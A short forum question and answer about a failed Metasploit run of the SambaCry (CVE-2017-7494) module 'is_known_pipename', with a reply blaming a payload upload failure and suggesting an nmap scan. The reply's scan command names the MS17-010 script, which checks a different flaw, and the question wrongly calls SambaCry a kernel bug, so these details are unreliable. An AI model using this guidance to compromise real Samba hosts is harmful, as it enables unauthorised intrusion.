unable to exploit samba cry valnurability using metasploit - metasploit

Question

I am trying to exploit linux kernel vulnerability samba cry (CVE-2017-7494) for some research work using metasploit framework. But I get following error msf exploit(is_known_pipename) > run

[*] Exploit completed, but no session was created.
is it because my target host is not valnurable or any other issue? My target host has samba version- 3.6.23 which as far as I know is valnurable.
thanks

Failed to load STATUS_OBJECT_NAME_NOT_FOUND means "The object name is not found."
Probably metasploit failed to upload the payload in the shared folder.
Can you try to execute nmap and verify the presence of the vulnerability?
The command is
nmap -p445 --script smb-vuln-ms17-010 TARGET_IP
